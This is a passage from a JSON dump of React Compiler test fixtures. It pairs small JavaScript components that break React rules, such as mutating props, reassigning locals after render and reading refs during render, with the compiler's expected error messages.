    "content": "import {useEffect} from 'react';\n\nfunction Component(props) {\n  let x = null;\n  while (x == null) {\n    x = props.value;\n  }\n  let y = x;\n  let mutateProps = () => {\n    y.foo = true;\n  };\n  let mutatePropsIndirect = () => {\n    mutateProps();\n  };\n  useEffect(() => mutatePropsIndirect(), [mutatePropsIndirect]);\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-props-via-for-of-iterator.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const items = [];\n  for (const x of props.items) {\n    x.modified = true;\n    items.push(x);\n  }\n  return items;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: This value cannot be modified\n\nModifying component props or hook arguments is not allowed. Consider using a local variable instead.\n\nerror.invalid-mutate-props-via-for-of-iterator.ts:4:4\n  2 |   const items = [];\n  3 |   for (const x of props.items) {\n> 4 |     x.modified = true;\n    |     ^ value cannot be modified\n  5 |     items.push(x);\n  6 |   }\n  7 |   return items;\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-props-via-for-of-iterator.js",
    "content": "function Component(props) {\n  const items = [];\n  for (const x of props.items) {\n    x.modified = true;\n    items.push(x);\n  }\n  return items;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutation-in-closure.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction useInvalidMutation(options) {\n  function test() {\n    foo(options.foo); // error should not point on this line\n    options.foo = 'bar';\n  }\n  return test;\n}\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nError: This value cannot be modified\n\nModifying component props or hook arguments is not allowed. Consider using a local variable instead.\n\nerror.invalid-mutation-in-closure.ts:4:4\n  2 |   function test() {\n  3 |     foo(options.foo); // error should not point on this line\n> 4 |     options.foo = 'bar';\n    |     ^^^^^^^ `options` cannot be modified\n  5 |   }\n  6 |   return test;\n  7 | }\n\nError: Cannot modify local variables after render completes\n\nThis argument is a function which may reassign or mutate `options` after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead.\n\nerror.invalid-mutation-in-closure.ts:6:9\n  4 |     options.foo = 'bar';\n  5 |   }\n> 6 |   return test;\n    |          ^^^^ This function may (indirectly) reassign or modify `options` after render\n  7 | }\n  8 |\n\nerror.invalid-mutation-in-closure.ts:4:4\n  2 |   function test() {\n  3 |     foo(options.foo); // error should not point on this line\n> 4 |     options.foo = 'bar';\n    |     ^^^^^^^ This modifies `options`\n  5 |   }\n  6 |   return test;\n  7 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutation-in-closure.js",
    "content": "function useInvalidMutation(options) {\n  function test() {\n    foo(options.foo); // error should not point on this line\n    options.foo = 'bar';\n  }\n  return test;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutation-of-possible-props-phi-indirect.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x = cond ? someGlobal : props.foo;\n  const mutatePhiThatCouldBeProps = () => {\n    x.y = true;\n  };\n  const indirectMutateProps = () => {\n    mutatePhiThatCouldBeProps();\n  };\n  useEffect(() => indirectMutateProps(), []);\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: This value cannot be modified\n\nModifying a variable defined outside a component or hook is not allowed. Consider using an effect.\n\nerror.invalid-mutation-of-possible-props-phi-indirect.ts:4:4\n  2 |   let x = cond ? someGlobal : props.foo;\n  3 |   const mutatePhiThatCouldBeProps = () => {\n> 4 |     x.y = true;\n    |     ^ `x` cannot be modified\n  5 |   };\n  6 |   const indirectMutateProps = () => {\n  7 |     mutatePhiThatCouldBeProps();\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutation-of-possible-props-phi-indirect.js",
    "content": "function Component(props) {\n  let x = cond ? someGlobal : props.foo;\n  const mutatePhiThatCouldBeProps = () => {\n    x.y = true;\n  };\n  const indirectMutateProps = () => {\n    mutatePhiThatCouldBeProps();\n  };\n  useEffect(() => indirectMutateProps(), []);\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-nested-function-reassign-local-variable-in-effect.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useEffect} from 'react';\nfunction Component() {\n  let local;\n  const mk_reassignlocal = () => {\n    // Create the reassignment function inside another function, then return it\n    const reassignLocal = newValue => {\n      local = newValue;\n    };\n    return reassignLocal;\n  };\n  const reassignLocal = mk_reassignlocal();\n  const onMount = newValue => {\n    reassignLocal('hello');\n    if (local === newValue) {\n      // Without React Compiler, `reassignLocal` is freshly created\n      // on each render, capturing a binding to the latest `local`,\n      // such that invoking reassignLocal will reassign the same\n      // binding that we are observing in the if condition, and\n      // we reach this branch\n      console.log('`local` was updated!');\n    } else {\n      // With React Compiler enabled, `reassignLocal` is only created\n      // once, capturing a binding to `local` in that render pass.\n      // Therefore, calling `reassignLocal` will reassign the wrong\n      // version of `local`, and not update the binding we are checking\n      // in the if condition.\n      //\n      // To protect against this, we disallow reassigning locals from\n      // functions that escape\n      throw new Error('`local` not updated!');\n    }\n  };\n  useEffect(() => {\n    onMount();\n  }, [onMount]);\n  return 'ok';\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot reassign variable after render completes\n\nReassigning `local` after render has completed can cause inconsistent behavior on subsequent renders. Consider using state instead.\n\nerror.invalid-nested-function-reassign-local-variable-in-effect.ts:7:6\n   5 |     // Create the reassignment function inside another function, then return it\n   6 |     const reassignLocal = newValue => {\n>  7 |       local = newValue;\n     |       ^^^^^ Cannot reassign `local` after render completes\n   8 |     };\n   9 |     return reassignLocal;\n  10 |   };\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-nested-function-reassign-local-variable-in-effect.js",
    "content": "import {useEffect} from 'react';\nfunction Component() {\n  let local;\n  const mk_reassignlocal = () => {\n    // Create the reassignment function inside another function, then return it\n    const reassignLocal = newValue => {\n      local = newValue;\n    };\n    return reassignLocal;\n  };\n  const reassignLocal = mk_reassignlocal();\n  const onMount = newValue => {\n    reassignLocal('hello');\n    if (local === newValue) {\n      // Without React Compiler, `reassignLocal` is freshly created\n      // on each render, capturing a binding to the latest `local`,\n      // such that invoking reassignLocal will reassign the same\n      // binding that we are observing in the if condition, and\n      // we reach this branch\n      console.log('`local` was updated!');\n    } else {\n      // With React Compiler enabled, `reassignLocal` is only created\n      // once, capturing a binding to `local` in that render pass.\n      // Therefore, calling `reassignLocal` will reassign the wrong\n      // version of `local`, and not update the binding we are checking\n      // in the if condition.\n      //\n      // To protect against this, we disallow reassigning locals from\n      // functions that escape\n      throw new Error('`local` not updated!');\n    }\n  };\n  useEffect(() => {\n    onMount();\n  }, [onMount]);\n  return 'ok';\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-non-imported-reanimated-shared-value-writes.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableCustomTypeDefinitionForReanimated\n\n/**\n * Test that a global (i.e. non-imported) useSharedValue is treated as an\n * unknown hook.\n */\nfunction SomeComponent() {\n  const sharedVal = useSharedValue(0);\n  return (\n    <Button\n      onPress={() => (sharedVal.value = Math.random())}\n      title=\"Randomize\"\n    />\n  );\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: This value cannot be modified\n\nModifying a value returned from a hook is not allowed. Consider moving the modification into the hook where the value is constructed.\n\nerror.invalid-non-imported-reanimated-shared-value-writes.ts:11:22\n   9 |   return (\n  10 |     <Button\n> 11 |       onPress={() => (sharedVal.value = Math.random())}\n     |                       ^^^^^^^^^ `sharedVal` cannot be modified\n  12 |       title=\"Randomize\"\n  13 |     />\n  14 |   );\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-non-imported-reanimated-shared-value-writes.jsx",
    "content": "// @enableCustomTypeDefinitionForReanimated\n\n/**\n * Test that a global (i.e. non-imported) useSharedValue is treated as an\n * unknown hook.\n */\nfunction SomeComponent() {\n  const sharedVal = useSharedValue(0);\n  return (\n    <Button\n      onPress={() => (sharedVal.value = Math.random())}\n      title=\"Randomize\"\n    />\n  );\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-optional-member-expression-as-memo-dep-non-optional-in-body.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\nfunction Component(props) {\n  const data = useMemo(() => {\n    // actual code is non-optional\n    return props.items.edges.nodes ?? [];\n    // deps are optional\n  }, [props.items?.edges?.nodes]);\n  return <Foo data={data} />;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `props.items.edges.nodes`, but the source dependencies were [props.items?.edges?.nodes]. Inferred different dependency than source.\n\nerror.invalid-optional-member-expression-as-memo-dep-non-optional-in-body.ts:3:23\n   1 | // @validatePreserveExistingMemoizationGuarantees\n   2 | function Component(props) {\n>  3 |   const data = useMemo(() => {\n     |                        ^^^^^^^\n>  4 |     // actual code is non-optional\n     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n>  5 |     return props.items.edges.nodes ?? [];\n     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n>  6 |     // deps are optional\n     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n>  7 |   }, [props.items?.edges?.nodes]);\n     | ^^^^ Could not preserve existing manual memoization\n   8 |   return <Foo data={data} />;\n   9 | }\n  10 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-optional-member-expression-as-memo-dep-non-optional-in-body.js",
    "content": "// @validatePreserveExistingMemoizationGuarantees\nfunction Component(props) {\n  const data = useMemo(() => {\n    // actual code is non-optional\n    return props.items.edges.nodes ?? [];\n    // deps are optional\n  }, [props.items?.edges?.nodes]);\n  return <Foo data={data} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-pass-hook-as-call-arg.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  return foo(useFoo);\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values\n\nerror.invalid-pass-hook-as-call-arg.ts:2:13\n  1 | function Component(props) {\n> 2 |   return foo(useFoo);\n    |              ^^^^^^ Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values\n  3 | }\n  4 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-pass-hook-as-call-arg.js",
    "content": "function Component(props) {\n  return foo(useFoo);\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-pass-hook-as-prop.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  return <Child foo={useFoo} />;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values\n\nerror.invalid-pass-hook-as-prop.ts:2:21\n  1 | function Component(props) {\n> 2 |   return <Child foo={useFoo} />;\n    |                      ^^^^^^ Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values\n  3 | }\n  4 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-pass-hook-as-prop.js",
    "content": "function Component(props) {\n  return <Child foo={useFoo} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-pass-mutable-function-as-prop.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoFreezingKnownMutableFunctions\nfunction Component() {\n  const cache = new Map();\n  const fn = () => {\n    cache.set('key', 'value');\n  };\n  return <Foo fn={fn} />;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot modify local variables after render completes\n\nThis argument is a function which may reassign or mutate `cache` after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead.\n\nerror.invalid-pass-mutable-function-as-prop.ts:7:18\n  5 |     cache.set('key', 'value');\n  6 |   };\n> 7 |   return <Foo fn={fn} />;\n    |                   ^^ This function may (indirectly) reassign or modify `cache` after render\n  8 | }\n  9 |\n\nerror.invalid-pass-mutable-function-as-prop.ts:5:4\n  3 |   const cache = new Map();\n  4 |   const fn = () => {\n> 5 |     cache.set('key', 'value');\n    |     ^^^^^ This modifies `cache`\n  6 |   };\n  7 |   return <Foo fn={fn} />;\n  8 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-pass-mutable-function-as-prop.js",
    "content": "// @validateNoFreezingKnownMutableFunctions\nfunction Component() {\n  const cache = new Map();\n  const fn = () => {\n    cache.set('key', 'value');\n  };\n  return <Foo fn={fn} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-pass-ref-to-function.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateRefAccessDuringRender\nfunction Component(props) {\n  const ref = useRef(null);\n  const x = foo(ref);\n  return x.current;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\nerror.invalid-pass-ref-to-function.ts:4:16\n  2 | function Component(props) {\n  3 |   const ref = useRef(null);\n> 4 |   const x = foo(ref);\n    |                 ^^^ Passing a ref to a function may read its value during render\n  5 |   return x.current;\n  6 | }\n  7 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-pass-ref-to-function.js",
    "content": "// @validateRefAccessDuringRender\nfunction Component(props) {\n  const ref = useRef(null);\n  const x = foo(ref);\n  return x.current;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-prop-mutation-indirect.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const f = () => {\n    props.value = true;\n  };\n  const g = () => {\n    f();\n  };\n  g();\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: This value cannot be modified\n\nModifying component props or hook arguments is not allowed. Consider using a local variable instead.\n\nerror.invalid-prop-mutation-indirect.ts:3:4\n  1 | function Component(props) {\n  2 |   const f = () => {\n> 3 |     props.value = true;\n    |     ^^^^^ `props` cannot be modified\n  4 |   };\n  5 |   const g = () => {\n  6 |     f();\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-prop-mutation-indirect.js",
    "content": "function Component(props) {\n  const f = () => {\n    props.value = true;\n  };\n  const g = () => {\n    f();\n  };\n  g();\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-property-store-to-frozen-value.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = makeObject();\n  // freeze\n  <div>{x}</div>;\n  x.y = true;\n  return x;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: This value cannot be modified\n\nModifying a value used previously in JSX is not allowed. Consider moving the modification before the JSX.\n\nerror.invalid-property-store-to-frozen-value.ts:5:2\n  3 |   // freeze\n  4 |   <div>{x}</div>;\n> 5 |   x.y = true;\n    |   ^ value cannot be modified\n  6 |   return x;\n  7 | }\n  8 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-property-store-to-frozen-value.js",
    "content": "function Component(props) {\n  const x = makeObject();\n  // freeze\n  <div>{x}</div>;\n  x.y = true;\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-props-mutation-in-effect-indirect.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const mutateProps = () => {\n    props.value = true;\n  };\n  const indirectMutateProps = () => {\n    mutateProps();\n  };\n  useEffect(() => indirectMutateProps(), []);\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: This value cannot be modified\n\nModifying component props or hook arguments is not allowed. Consider using a local variable instead.\n\nerror.invalid-props-mutation-in-effect-indirect.ts:3:4\n  1 | function Component(props) {\n  2 |   const mutateProps = () => {\n> 3 |     props.value = true;\n    |     ^^^^^ `props` cannot be modified\n  4 |   };\n  5 |   const indirectMutateProps = () => {\n  6 |     mutateProps();\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-props-mutation-in-effect-indirect.js",
    "content": "function Component(props) {\n  const mutateProps = () => {\n    props.value = true;\n  };\n  const indirectMutateProps = () => {\n    mutateProps();\n  };\n  useEffect(() => indirectMutateProps(), []);\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-read-ref-prop-in-render-destructure.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateRefAccessDuringRender @compilationMode:\"infer\"\nfunction Component({ref}) {\n  const value = ref.current;\n  return <div>{value}</div>;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\nerror.invalid-read-ref-prop-in-render-destructure.ts:3:16\n  1 | // @validateRefAccessDuringRender @compilationMode:\"infer\"\n  2 | function Component({ref}) {\n> 3 |   const value = ref.current;\n    |                 ^^^^^^^^^^^ Cannot access ref value during render\n  4 |   return <div>{value}</div>;\n  5 | }\n  6 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-read-ref-prop-in-render-destructure.js",
    "content": "// @validateRefAccessDuringRender @compilationMode:\"infer\"\nfunction Component({ref}) {\n  const value = ref.current;\n  return <div>{value}</div>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-read-ref-prop-in-render-property-load.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateRefAccessDuringRender @compilationMode:\"infer\"\nfunction Component(props) {\n  const value = props.ref.current;\n  return <div>{value}</div>;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\nerror.invalid-read-ref-prop-in-render-property-load.ts:3:16\n  1 | // @validateRefAccessDuringRender @compilationMode:\"infer\"\n  2 | function Component(props) {\n> 3 |   const value = props.ref.current;\n    |                 ^^^^^^^^^^^^^^^^^ Cannot access ref value during render\n  4 |   return <div>{value}</div>;\n  5 | }\n  6 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-read-ref-prop-in-render-property-load.js",
    "content": "// @validateRefAccessDuringRender @compilationMode:\"infer\"\nfunction Component(props) {\n  const value = props.ref.current;\n  return <div>{value}</div>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-const.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  const x = 0;\n  x = 1;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot reassign a `const` variable\n\n`x` is declared as const.\n\nerror.invalid-reassign-const.ts:3:2\n  1 | function Component() {\n  2 |   const x = 0;\n> 3 |   x = 1;\n    |   ^ Cannot reassign a `const` variable\n  4 | }\n  5 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-const.js",
    "content": "function Component() {\n  const x = 0;\n  x = 1;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-in-hook-return-value.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction useFoo() {\n  let x = 0;\n  return value => {\n    x = value;\n  };\n}\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nError: Cannot reassign variable after render completes\n\nReassigning `x` after render has completed can cause inconsistent behavior on subsequent renders. Consider using state instead.\n\nerror.invalid-reassign-local-in-hook-return-value.ts:4:4\n  2 |   let x = 0;\n  3 |   return value => {\n> 4 |     x = value;\n    |     ^ Cannot reassign `x` after render completes\n  5 |   };\n  6 | }\n  7 |\n\nError: Cannot modify local variables after render completes\n\nThis argument is a function which may reassign or mutate `x` after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead.\n\nerror.invalid-reassign-local-in-hook-return-value.ts:3:9\n  1 | function useFoo() {\n  2 |   let x = 0;\n> 3 |   return value => {\n    |          ^^^^^^^^^^\n> 4 |     x = value;\n    | ^^^^^^^^^^^^^^\n> 5 |   };\n    | ^^^^ This function may (indirectly) reassign or modify `x` after render\n  6 | }\n  7 |\n\nerror.invalid-reassign-local-in-hook-return-value.ts:4:4\n  2 |   let x = 0;\n  3 |   return value => {\n> 4 |     x = value;\n    |     ^ This modifies `x`\n  5 |   };\n  6 | }\n  7 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-in-hook-return-value.js",
    "content": "function useFoo() {\n  let x = 0;\n  return value => {\n    x = value;\n  };\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-variable-in-async-callback.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  let value = null;\n  const reassign = async () => {\n    await foo().then(result => {\n      // Reassigning a local variable in an async function is *always* mutating\n      // after render, so this should error regardless of where this ends up\n      // getting called\n      value = result;\n    });\n  };\n\n  const onClick = async () => {\n    await reassign();\n  };\n  return <div onClick={onClick}>Click</div>;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot reassign variable in async function\n\nReassigning a variable in an async function can cause inconsistent behavior on subsequent renders. Consider using state instead.\n\nerror.invalid-reassign-local-variable-in-async-callback.ts:8:6\n   6 |       // after render, so this should error regardless of where this ends up\n   7 |       // getting called\n>  8 |       value = result;\n     |       ^^^^^ Cannot reassign `value`\n   9 |     });\n  10 |   };\n  11 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-variable-in-async-callback.js",
    "content": "function Component() {\n  let value = null;\n  const reassign = async () => {\n    await foo().then(result => {\n      // Reassigning a local variable in an async function is *always* mutating\n      // after render, so this should error regardless of where this ends up\n      // getting called\n      value = result;\n    });\n  };\n\n  const onClick = async () => {\n    await reassign();\n  };\n  return <div onClick={onClick}>Click</div>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-variable-in-effect.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useEffect} from 'react';\n\nfunction Component() {\n  let local;\n\n  const reassignLocal = newValue => {\n    local = newValue;\n  };\n\n  const onMount = newValue => {\n    reassignLocal('hello');\n\n    if (local === newValue) {\n      // Without React Compiler, `reassignLocal` is freshly created\n      // on each render, capturing a binding to the latest `local`,\n      // such that invoking reassignLocal will reassign the same\n      // binding that we are observing in the if condition, and\n      // we reach this branch\n      console.log('`local` was updated!');\n    } else {\n      // With React Compiler enabled, `reassignLocal` is only created\n      // once, capturing a binding to `local` in that render pass.\n      // Therefore, calling `reassignLocal` will reassign the wrong\n      // version of `local`, and not update the binding we are checking\n      // in the if condition.\n      //\n      // To protect against this, we disallow reassigning locals from\n      // functions that escape\n      throw new Error('`local` not updated!');\n    }\n  };\n\n  useEffect(() => {\n    onMount();\n  }, [onMount]);\n\n  return 'ok';\n}\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nError: Cannot reassign variable after render completes\n\nReassigning `local` after render has completed can cause inconsistent behavior on subsequent renders. Consider using state instead.\n\nerror.invalid-reassign-local-variable-in-effect.ts:7:4\n   5 |\n   6 |   const reassignLocal = newValue => {\n>  7 |     local = newValue;\n     |     ^^^^^ Cannot reassign `local` after render completes\n   8 |   };\n   9 |\n  10 |   const onMount = newValue => {\n\nError: Cannot modify local variables after render completes\n\nThis argument is a function which may reassign or mutate `local` after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead.\n\nerror.invalid-reassign-local-variable-in-effect.ts:33:12\n  31 |   };\n  32 |\n> 33 |   useEffect(() => {\n     |             ^^^^^^^\n> 34 |     onMount();\n     | ^^^^^^^^^^^^^^\n> 35 |   }, [onMount]);\n     | ^^^^ This function may (indirectly) reassign or modify `local` after render\n  36 |\n  37 |   return 'ok';\n  38 | }\n\nerror.invalid-reassign-local-variable-in-effect.ts:7:4\n   5 |\n   6 |   const reassignLocal = newValue => {\n>  7 |     local = newValue;\n     |     ^^^^^ This modifies `local`\n   8 |   };\n   9 |\n  10 |   const onMount = newValue => {\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-variable-in-effect.js",
    "content": "import {useEffect} from 'react';\n\nfunction Component() {\n  let local;\n\n  const reassignLocal = newValue => {\n    local = newValue;\n  };\n\n  const onMount = newValue => {\n    reassignLocal('hello');\n\n    if (local === newValue) {\n      // Without React Compiler, `reassignLocal` is freshly created\n      // on each render, capturing a binding to the latest `local`,\n      // such that invoking reassignLocal will reassign the same\n      // binding that we are observing in the if condition, and\n      // we reach this branch\n      console.log('`local` was updated!');\n    } else {\n      // With React Compiler enabled, `reassignLocal` is only created\n      // once, capturing a binding to `local` in that render pass.\n      // Therefore, calling `reassignLocal` will reassign the wrong\n      // version of `local`, and not update the binding we are checking\n      // in the if condition.\n      //\n      // To protect against this, we disallow reassigning locals from\n      // functions that escape\n      throw new Error('`local` not updated!');\n    }\n  };\n\n  useEffect(() => {\n    onMount();\n  }, [onMount]);\n\n  return 'ok';\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-variable-in-hook-argument.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useEffect} from 'react';\nimport {useIdentity} from 'shared-runtime';\n\nfunction Component() {\n  let local;\n\n  const reassignLocal = newValue => {\n    local = newValue;\n  };\n\n  const callback = newValue => {\n    reassignLocal('hello');\n\n    if (local === newValue) {\n      // Without React Compiler, `reassignLocal` is freshly created\n      // on each render, capturing a binding to the latest `local`,\n      // such that invoking reassignLocal will reassign the same\n      // binding that we are observing in the if condition, and\n      // we reach this branch\n      console.log('`local` was updated!');\n    } else {\n      // With React Compiler enabled, `reassignLocal` is only created\n      // once, capturing a binding to `local` in that render pass.\n      // Therefore, calling `reassignLocal` will reassign the wrong\n      // version of `local`, and not update the binding we are checking\n      // in the if condition.\n      //\n      // To protect against this, we disallow reassigning locals from\n      // functions that escape\n      throw new Error('`local` not updated!');\n    }\n  };\n\n  useIdentity(() => {\n    callback();\n  });\n\n  return 'ok';\n}\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nError: Cannot reassign variable after render completes\n\nReassigning `local` after render has completed can cause inconsistent behavior on subsequent renders. Consider using state instead.\n\nerror.invalid-reassign-local-variable-in-hook-argument.ts:8:4\n   6 |\n   7 |   const reassignLocal = newValue => {\n>  8 |     local = newValue;\n     |     ^^^^^ Cannot reassign `local` after render completes\n   9 |   };\n  10 |\n  11 |   const callback = newValue => {\n\nError: Cannot modify local variables after render completes\n\nThis argument is a function which may reassign or mutate `local` after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead.\n\nerror.invalid-reassign-local-variable-in-hook-argument.ts:34:14\n  32 |   };\n  33 |\n> 34 |   useIdentity(() => {\n     |               ^^^^^^^\n> 35 |     callback();\n     | ^^^^^^^^^^^^^^^\n> 36 |   });\n     | ^^^^ This function may (indirectly) reassign or modify `local` after render\n  37 |\n  38 |   return 'ok';\n  39 | }\n\nerror.invalid-reassign-local-variable-in-hook-argument.ts:8:4\n   6 |\n   7 |   const reassignLocal = newValue => {\n>  8 |     local = newValue;\n     |     ^^^^^ This modifies `local`\n   9 |   };\n  10 |\n  11 |   const callback = newValue => {\n```\n          \n      "
  },
  {
